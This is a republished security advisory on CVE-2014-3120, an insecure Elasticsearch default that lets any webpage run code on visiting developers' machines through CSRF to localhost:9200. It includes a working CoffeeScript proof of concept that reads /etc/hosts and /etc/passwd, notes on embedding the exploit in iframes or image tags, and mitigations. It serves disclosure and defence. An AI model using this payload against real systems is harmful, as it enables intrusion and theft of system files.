Insecure default in Elasticsearch enables remote code execution

Insecure default in Elasticsearch enables remote code execution

大家好,又见面了,我是全栈君,今天给大家准备了Idea注册码。

Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to execute arbitrary code on visitors with Elasticsearch installed. If you’re running Elasticsearch in development please read the instructions on how to secure your machine. Elasticsearch version 1.2 (which is unreleased as of writing) is not vulnerable to remote code execution, but still has some security concerns.

The problem(s)

There are a couple of problems which enable the proof of concept I’m going to present:

  • Elasticsearch has no access roles or authentication mechanism. This means that you have full control over a cluster the moment you connect to it.
  • The API for Elasticsearch is accessible over HTTP and provides no CSRF protection whatsoever.
  • It contains a feature which makes it possible to evaluate expressions as part of a query. An example usage of this feature is to specify a custom scoring function while searching through documents. It uses the MVEL language by default.
  • Up to version 1.2 dynamic scripting (which makes it possible to send scripts to the cluster on the fly) was enabled by default. As mentioned in the documentation, this feature gives someone the same priviliges as the user that runs Elasticsearch. MVEL has no sandboxing at all.

There are no issues up to this point as long as you properly follow the documentation and make sure your Elasticsearch cluster is not available from the outside world. There is one target that isn’t mentioned in the documentation though: The Developer! When you’re developing an application that uses Elasticsearch, you probably have it running on your machine. The default port is 9200 and because there is no CSRF protection any webpage can just connect to the cluster using localhost:9200 as the host.

PoC

The following script will read /etc/hosts and /etc/passwd from a user visiting a webpage and display the contents in the browser.

read_file = (filename) ->
  """
 import java.io.File;
 import java.util.Scanner;
 new Scanner(new File("#{filename}")).useDelimiter("\\\\Z").next();
 """

# This PoC assumes that there is at least one document stored in Elasticsearch, there are ways around that though
$ ->
  payload = {
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {}
  }

  for filename in ["/etc/hosts", "/etc/passwd"]
    payload["script_fields"][filename] = {"script": read_file(filename)}

  $.getJSON "http://localhost:9200/_search?source=#{encodeURIComponent(JSON.stringify(payload))}&callback=?", (data) ->
    console.log(data)
    for hit in data["hits"]["hits"]
      for filename, contents of hit["fields"]
        document.write("<h2>#{filename}</h2>")
        for content in contents
          document.write("<pre>" + content + "</pre>")
        document.write("<hr>")

You can verify whether you’re vulnerable by trying out the above PoC here.

There are many ways to exploit this, you could link the victim to the page or embed it as an Iframe. You can even exploit this by crafting a URL and using it as the src of an <img>, as the only thing that needs to happen is a single GET request. No user interaction required!

Because this is so easily exploitable you can mass-pwn developers with relatively little work.

How to secure against this vulnerability

Add the following line to your elasticsearch.yml to disable dynamic scripting and prevent remote code execution:

script.disable_dynamic: true

You should also make sure that your local Elasticsearch instance is only binding onlocalhost, as someone could exploit you over LAN without making you visit a webpage if you don’t. The Homebrew Elasticsearch formula does this automatically. This still means you’re vulnerable to the CSRF exploit though!

If you want to be as secure as possible, you should run Elasticsearch inside a virtual machine, to make sure it has no access to the hosting machine at all.

Additional targets

Disabling scripting will prevent code execution, but that still leaves us with the issue of being able to query and administer the instance without limit. A webpage can easily dump the whole database running on your machine, sensitive data included. This is impossible to fix by the Elasticsearch developers without adding authentication or CSRF protection.

If an attacker can figure out the internal address of your production Elasticsearch instance, you’re also open to leaking your production data. If your development machine is connected to a VPN which provides access to your Elasticsearch cluster, an attacker can easily query or shut down your cluster simply by making you visit a webpage.

Hackernews

Reddit

Notes

  • I have reserved CVE-2014-3120 for this issue.
  • This exploit was tested against Elasticsearch version 1.1.1 on MacOSX installed through Homebrew. No configuration changes were made.
  • I notified Elasticsearch through their security report instructions on the 26th of April 2014. They replied they were aware of it, but didn’t intend to do a security release and instead disable dynamic scripting by default in version 1.2.
  • This security issue has been indepently discovered and blogged about on December 9th 2013.
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/117522.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • java工资多少 程序员薪资很高吗?

    java工资多少 程序员薪资很高吗?北京程序员平均工资是12715元,和此相差无几的是上海、深圳。达内是专业做精英程序员人才招聘的。据调查可知:在工作年限上,3-5年的工程师平均薪酬是20K上下。而5年以后的工程师薪酬有了明显的上升,30K上下也是必须的。程序员的薪资都很高么,java程序员的薪资是多少呢?java新手工资一般多少?程序猿在世人眼里已经成为高薪、为人忠诚的代名词。然而,达内小编要说的是,不是所有的程序员工…

    2022年7月8日
    207
  • 微信公众号网页开发之拍照、上传本地图片

    微信公众号网页开发之拍照、上传本地图片微信网页开发JS-SDK说明文档:https://developers.weixin.qq.com/doc/offiaccount/OA_Web_Apps/JS-SDK.html#0绑定域名登录微信公众平台进入“公众号设置”->“功能设置”,填写“JS接口安全域名”;设置JS接口安全域名后,公众号开发者可在该域名下调用微信开放的JS接口;引入JS文件在需要调用JS接口…

    2022年5月29日
    66
  • java栈堆方法区分别存放的东西_java创建栈和堆对象

    java栈堆方法区分别存放的东西_java创建栈和堆对象之前给大家讲了一下java栈和堆的区别,下面又要给大家详细的讲一下java栈和堆分别存放的是什么,一起来详细的了解一下吧!一、java栈、堆存放的是什么?在java当中,栈中,存放的是基本数据类型和堆中对象的引用,而,堆中,存放的则是对象。其他:一个对象的大小,是不能够估计的,我们又可以这样说,是能够动态变化的,可是在栈中,一个对象就只对应了一个4btye的引用,这也是堆和栈分离的好处。那么相信很…

    2022年9月5日
    2
  • java反射给类添加属性_java获取反射的三种方法

    java反射给类添加属性_java获取反射的三种方法摘要:记录一下使用java反射时PropertyDescriptor的异常java.beans.IntrospectionException:Methodnotfound:isMBuyPrice1.PropertyDescriptor要求bean对象的属性名称的前两个字母大小写需要一致,要么全大写,要么全小写2.PropertyDescriptor要求bean对象的属…

    2022年9月1日
    0
  • Struts的ONGL

    Struts的ONGL

    2022年1月15日
    49
  • pandas中的loc和iloc_pandas获取指定数据的行和列

    pandas中的loc和iloc_pandas获取指定数据的行和列实际操作中我们经常需要寻找数据的某行或者某列,这里介绍我在使用Pandas时用到的两种方法:iloc和loc。目录1.loc方法(1)读取第二行的值(2)读取第二列的值(3)同时读取某行某列(4)读取DataFrame的某个区域(5)根据条件读取(6)也可以进行切片操作2.iloc方法(1)读取第二行的值(2)读取第二行的值(3)同时读取某行某列(4)进行切片操作loc:通过行、列的名称或标签来索引iloc:通过行、列的索引位置来寻找数据..

    2022年8月30日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号